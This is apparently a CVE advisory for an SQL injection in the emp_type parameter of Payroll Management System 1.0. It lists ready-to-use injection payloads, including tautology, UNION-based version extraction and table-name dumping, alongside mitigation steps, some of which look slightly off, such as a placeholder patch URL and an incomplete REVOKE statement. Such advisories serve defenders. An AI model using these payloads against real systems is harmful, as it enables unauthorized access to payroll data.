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How CVE-2025-2854 Works
The vulnerability exists in `update_employee.php` of Payroll Management System 1.0 due to improper sanitization of the `emp_type` parameter. Attackers can inject malicious SQL queries through this parameter, manipulating database operations. The application fails to use prepared statements, allowing direct concatenation of user input into SQL queries. Remote attackers exploit this by crafting payloads that alter query logic, enabling unauthorized data access, modification, or deletion. The flaw is critical as it exposes sensitive payroll data without authentication.
DailyCVE Form
Platform: Payroll Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
1. Identify vulnerable parameter (`emp_type`):
POST /update_employee.php HTTP/1.1 emp_type=1' OR 1=1--
2. Extract database version:
emp_type=1' UNION SELECT 1,version(),3--
3. Dump table names:
emp_type=1' UNION SELECT 1,table_name,3 FROM information_schema.tables--
Protection
1. Use prepared statements:
$stmt = $conn->prepare("UPDATE employees SET type = ? WHERE id = ?");
$stmt->bind_param("si", $_POST['emp_type'], $_POST['id']);
2. Input validation:
if (!preg_match("/^[a-zA-Z0-9]+$/", $_POST['emp_type'])) {
die("Invalid input");
}
3. WAF rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" deny';
}
4. Patch:
wget https://vendor.com/patch/CVE-2025-2854.zip unzip CVE-2025-2854.zip -d /var/www/html/
5. Log monitoring:
grep 'update_employee.php' /var/log/apache2/access.log | grep -E 'UNION|SELECT|--'
6. Database hardening:
REVOKE ALL PRIVILEGES ON payroll_db. FROM 'webuser'@'localhost'; GRANT SELECT, UPDATE ON payroll_db.employees TO 'webuser'@'localhost';
7. Error handling:
ini_set('display_errors', 0);
8. Patch verification:
diff -qr /var/www/html/ /backup/patched/
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
